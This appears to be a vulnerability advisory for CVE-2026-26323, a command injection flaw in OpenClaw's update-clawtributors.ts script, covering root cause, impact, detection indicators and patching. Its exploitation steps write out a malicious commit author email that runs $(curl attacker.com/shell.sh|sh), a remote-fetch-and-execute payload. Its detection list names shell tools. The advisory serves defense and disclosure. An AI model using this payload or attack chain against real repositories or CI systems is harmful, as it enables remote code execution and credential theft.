CVE-2026-26323: 
Homebrew vulnerability analysis and mitigation

CVE-2026-26323 is an OS command injection vulnerability in OpenClaw, a personal AI assistant, affecting the maintainer/developer script scripts/update-clawtributors.ts. It impacts source checkout versions from 2026.1.8 through 2026.2.13 (inclusive) for the npm package on Node.js. The vulnerability was published on February 15, 2026, and patched in version 2026.2.14. It carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.6 (High) (GitHub Advisory, Feedly).

The vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The root cause is that scripts/update-clawtributors.ts derives a GitHub login from git log author metadata — specifically from commit author email fields such as crafted @users.noreply.github.com values — and interpolates it unsanitized into a shell command via Node.js's execSync. An attacker who can introduce a malicious commit into a repository (e.g., via a pull request or fork) can embed shell metacharacters in the author email field; when a contributor, maintainer, or CI pipeline runs bun scripts/update-clawtributors.ts on that checkout, arbitrary commands execute with the privileges of the invoking user. The fix (commit a429380) replaced execSync with execFileSync (avoiding shell interpretation) and added a strict isValidLogin validator enforcing GitHub's login character constraints before any API call (GitHub Advisory, Fix Commit).

Successful exploitation allows an attacker to execute arbitrary shell commands with the privileges of the developer, maintainer, or CI system running the vulnerable script. This can result in full compromise of the developer's workstation or CI environment, including theft of credentials (e.g., SSH keys, API tokens, GitHub tokens), unauthorized modification of source code, and potential lateral movement within development infrastructure. Confidentiality and integrity are both rated High; availability impact is None per CVSS v4.0 scoring. Normal end-user CLI installations via npm i -g openclaw are not affected, as the script is not part of the shipped CLI (GitHub Advisory, Feedly).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is approximately 0.063% (0.002030 raw), placing it in the 20th percentile for exploitation likelihood within 30 days (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction — specifically, a maintainer or CI system must run the vulnerable script against a repository containing a malicious commit — limiting the attack surface to development and CI environments.

1. Craft a malicious commit: The attacker creates a Git commit with a specially crafted author email containing shell metacharacters, for example: 1234+malicious$(curl attacker.com/shell.sh|sh)@users.noreply.github.com. This can be done via git commit --author='Evil User <1234+$(curl attacker.com/shell.sh|sh)@users.noreply.github.com>'.
2. Introduce the commit into the target repository: The attacker submits a pull request, pushes to a fork, or otherwise gets the malicious commit into a source checkout that a maintainer or CI system will process.
3. Wait for script execution: The attacker waits for a contributor, maintainer, or automated CI pipeline to run bun scripts/update-clawtributors.ts on the affected source checkout (versions 2026.1.8–2026.2.13).
4. Trigger command injection: The script reads git log output, extracts the malicious author email, parses out the local part (e.g., 1234+$(curl attacker.com/shell.sh|sh)), and interpolates it into execSync('gh api users/<LOGIN>'). The shell expands the injected metacharacters, executing the attacker's payload.
5. Achieve arbitrary code execution: The injected command runs with the privileges of the user or CI service account executing the script, enabling credential theft, backdoor installation, or source code tampering (GitHub Advisory, Fix Commit).

• Process: Unexpected child processes spawned by bun or node during execution of scripts/update-clawtributors.ts, such as curl, wget, bash, sh, python, or reverse shell processes.
• Network: Outbound connections to unknown external hosts initiated by the bun/node process running the script; DNS lookups or HTTP requests to attacker-controlled infrastructure during script execution.
• Logs: Shell history or CI logs showing execution of bun scripts/update-clawtributors.ts on a repository with unreviewed or externally contributed commits; gh CLI invocations with unusual or malformed usernames in command arguments.
• File System: Unexpected new files, scripts, or cron jobs created in the developer's home directory or CI workspace during or after script execution; modified source files or configuration files not attributable to legitimate commits.
• Git: Commits in the repository history with author emails containing shell metacharacters (e.g., $, `, ;, |, &) in the local part of @users.noreply.github.com addresses (GitHub Advisory).

Upgrade OpenClaw to version 2026.2.14 or later, which contains the patch (fix commit a429380) that replaces execSync with execFileSync and validates GitHub logins against a strict allowlist before use (GitHub Advisory, Release Notes). For teams unable to upgrade immediately, avoid running bun scripts/update-clawtributors.ts on source checkouts that include unreviewed or externally contributed commits. Implement mandatory code review for all commits — especially author metadata — before running any maintenance scripts, and restrict CI pipeline permissions to limit the blast radius of potential exploitation.

The vulnerability was reported by researchers @scanleale and @MegaManSec of the AISLE Research Team, and was acknowledged and patched promptly by the OpenClaw maintainer (steipete) (GitHub Advisory). A Stackademic blog post covered the broader 2026 OpenClaw vulnerability cluster (including CVE-2026-26323, CVE-2026-26327, and CVE-2026-26317), and BeyondMachines noted over 60 security vulnerabilities resolved in the OpenClaw release (BeyondMachines). The vulnerability was also picked up by Tenable (Nessus plugin 299797) and referenced by INCIBE-CERT and Red Hat's CVE tracking (Feedly).